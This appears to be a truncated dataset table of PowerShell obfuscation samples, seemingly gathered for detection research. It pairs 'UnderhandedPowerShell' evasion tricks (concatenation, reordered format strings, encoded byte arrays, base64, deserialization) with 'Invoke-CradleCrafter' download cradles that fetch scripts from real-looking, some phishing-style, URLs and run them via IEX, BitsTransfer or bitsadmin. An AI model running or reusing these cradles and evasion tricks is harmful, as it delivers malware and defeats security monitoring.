1a'+'J'+'1'+'aJ = tse'+'tOga '+'
'(( " ) ;... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_218.ps1 | UnderhandedPowerShell_218.ps1 | ' ... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_110.ps1 | UnderhandedPowerShell_110.ps1 | @'
using System;
using System.Reflection;
public class Contest
{
public static object Win
{
get
{
var type = Type.GetType("Syst" + "em.Runt" + "ime.Int" + "eropServ" + "ices.Marsh" + "al");
return RuntimeReflectionExtensions.GetRuntimeField(type, ("Sys" + "tem" + "Default... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_198.ps1 | UnderhandedPowerShell_198.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_013.ps1 | UnderhandedPowerShell_013.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_363.ps1 | UnderhandedPowerShell_363.ps1 |
# Use base64 encoded text and start-process to start cmd to start powershell with the encoded command parameter - not sure if it counts as a different way from using start-process
# to start powershell directly, but it could by-pass a test if the code is starting powershell
$enc = 'WwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAa... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_148.ps1 | UnderhandedPowerShell_148.ps1 | '\Tztufn/Svoujnf/JoufspqTfswjdft/Nbstibm^;;TztufnEfgbvmuDibsTj{f'
|
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_033.ps1 | UnderhandedPowerShell_033.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_086.ps1 | UnderhandedPowerShell_086.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_012.ps1 | UnderhandedPowerShell_012.ps1 | sV ("aw"+"7V69") ( " )''NIOJ-]64,14,33[)(gNIrTsoT.EziLamrON.'' (& |)93]RaHc[]gNIRts[,)68]RaHc[+111]RaHc[+17]RaHc[((eCaLPER.)63]RaHc[]gNIRts[,)801]RaHc[+89]RaHc[+25]RaHc[((eCaLPER.)43]RaHc[]gNIRts[,'TVB'(eCaLPER.)421]RaHc[]gNIRts[,'iCh'(eCaLPER.)'
'+'
TVB))'+'('+'gnir'+'tSoT.b'+'s'+'lb4('+'l'+'b'+'4TV'+'B d'+'namm'+'o... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_200.ps1 | UnderhandedPowerShell_200.ps1 | (("{12}{13}{11}{9}{0}{15}{8}{3}{16}{18}{4}{24}{14}{20}{23}{21}{17}{19}{6}{22}{5}{10}{1}{7}{2}" -f'angu','PSO','
','rtT','me','f','hal8vm,','bject
',':Conve','ion.L',').','omat','[Management.','Aut','IVu','agePrimitives]:','o(8vmRu','es.MVuC(','nti',')ars','C()ntero','c','jufTypeju','pServi','.')).REPLAcE('VuC',[sTrinG... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_354.ps1 | UnderhandedPowerShell_354.ps1 | " $(SEt-ItEM 'VArIabLe:ofs' '') " + [StriNg]((15 ,12 , 43,165, 163,145 ,40,142 ,171, 164 , 145,40 ,141, 162, 162,141,171, 163 ,40, 151, 156 ,163 ,164,145 ,144 , 40, 157 , 146 ,40,163, 164 , 162 ,151, 156,147,163 ,40, 141 ,156 , 144 ,40 , 143 , 162,145 ,141, 164 ,145 ,40,163 , 143 ,162 , 151 ,160,164 , 142 ,154 , 157,... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_147.ps1 | UnderhandedPowerShell_147.ps1 | set-item function:prompt "iex ([Text.Encoding]::Ascii.GetString(@(91,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,83,121,115,116,101,109,68,101,102,97,117,108,116,67,104,97,114,83,105,122,101)))"; [Microsoft.PowerShell.PSConsoleReadLine]::In... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_362.ps1 | UnderhandedPowerShell_362.ps1 | .( $shelLiD[1]+$SheLLiD[13]+'x') ( " $(Set-ItEM 'VariAbLE:Ofs' '') " +[STrINg]('15Q12G44-145M156-143h40{75G40<47-127{167-102G124Q101}110e153G101Q143-167<102{60G101M107G125G101Q142,121Q101h165e101<106{111,101e144G121Q102Q165}101{110h121Q101h141M121{102M164{101-107}125Q101Q114Q147e102G112{101-107-64Q101{144e101,102{15... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_270.ps1 | UnderhandedPowerShell_270.ps1 | [Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new().Dserialize([IO.emoryStream]::new((0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,114,73,110,102,
111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,1... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_011.ps1 | UnderhandedPowerShell_011.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_216.ps1 | UnderhandedPowerShell_216.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_217.ps1 | UnderhandedPowerShell_217.ps1 | ( NEw-OBJEcT MaNageMeNT.AUtoMAtION.pscrEDeNTIAL ' ',( '76492d1116743f0423413b16050a5345MgB8AEMASwBpAGUAWABQAFUAeAAvAEYAKwAvADEARQByAE8AcQBlAE8AQwBBAHcAPQA9AHwAZAAyADEAMwBiADcAZABiADgAMgBmADAAZQA4ADMANQBmADYAMgBmAGQAOQAzAGIAMAA1ADQAZAA4ADQANwBiAGIANgBiADEAYwBhADgAZABjADUAMwAyAGIAYgAzADcAMgAzADgAZQA5AGQAMQA3AGUAMAA4AGI... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_258.ps1 | UnderhandedPowerShell_258.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_180.ps1 | UnderhandedPowerShell_180.ps1 |
#use byte arrays insted of strings and create scriptblock instead of invoke-expression to execute the code, use measure command to invoke the code
$code = [System.Text.Encoding]::Unicode.GetString(@(91,0,83,0,121,0,115,0,116,0,101,0,109,0,46,0,82,0,117,0,110,0,116,0,105,0,109,0,101,0,46,0,73,0,110,0,116,0,101,0,114,... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_305.ps1 | UnderhandedPowerShell_305.ps1 | $ExecutionContext.PSObject.Members
|
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_056.ps1 | UnderhandedPowerShell_056.ps1 | (("{134}{83}{33}{3}{122}{124}{53}{115}{55}{144}{64}{72}{30}{31}{65}{138}{95}{50}{29}{108}{38}{100}{77}{76}{135}{24}{85}{59}{112}{58}{67}{27}{26}{9}{104}{40}{146}{130}{101}{39}{25}{17}{22}{133}{94}{34}{79}{45}{99}{46}{8}{90}{113}{44}{117}{98}{74}{18}{37}{14}{87}{102}{73}{86}{48}{56}{57}{13}{41}{80}{10}{12}{69}{49}{36}{... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_214.ps1 | UnderhandedPowerShell_214.ps1 | '
... |
PowerShellCorpus/InvokeCradleCrafter/invoke-cradlecrafter_random_100.ps1 | invoke-cradlecrafter_random_100.ps1 | $url='http://skillswap.wireworldmedia.co.uk/b8d2e/?jdj2606171hs2AAA275avuLt773';$dpath='Default_File_Path.ps1';$wc2='Net.WebClient';$wc=(New-Object $wc2);$df='DownloadFile';$wc.$df.Invoke($url,$dpath);$ExecutionContext.(($ExecutionContext|Member)[6].Name)|ForEach-Object{(DIR Variable:_).Value.InvokeScript(((((CONTENT -... |
PowerShellCorpus/InvokeCradleCrafter/invoke-cradlecrafter_random_7.ps1 | invoke-cradlecrafter_random_7.ps1 | $wshell=New-Object -ComObject WScript.Shell;$app='Notepad';$reg='HKCU:\Software\Microsoft\Notepad';$url='http://4mit.pl/wp-includes/js/tinymce/themes';[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');$props=(ItemProperty $reg);@(@('StatusBar',0),@('iWindowPosY',([String]([Windows.Forms.Sc... |
PowerShellCorpus/InvokeCradleCrafter/invoke-cradlecrafter_random_181.ps1 | invoke-cradlecrafter_random_181.ps1 | SV zV (((([Net.WebClient]::New()|GM)|?{(Get-Variable _).Value.Name-clike'D*g'}).Name));SV o ([Net.WebClient]::New());Set-Variable H 'https://maisaukimassage.com.ng/investment';(GV o -Val).((Get-Variable zV -Va))((Get-Variable H -Valu))|IEX
|
PowerShellCorpus/InvokeCradleCrafter/invoke-cradlecrafter_random_102.ps1 | invoke-cradlecrafter_random_102.ps1 | Start-BitsTransfer http://support4client.5gbfree.com/https/home/myaccount/signin/ppl_billing.php Default_File_Path.ps1;$ExecutionContext.InvokeCommand|%{(Get-Item Variable:/_).Value.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{(GV _ -Val).Name-ilike'*S*i*t'}).Name).Invoke((-Join([Char[]][IO.File]::ReadAllBytes(... |
PowerShellCorpus/InvokeCradleCrafter/invoke-cradlecrafter_random_117.ps1 | invoke-cradlecrafter_random_117.ps1 | $NULL=bitsadmin /transfer /Download http://wvw.pavpal.com.webapps-suspicious-securety.com/signin Default_File_Path.ps1;(([Char[]](CONTENT -Encodi 3 'Default_File_Path.ps1'))-Join'')|.$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.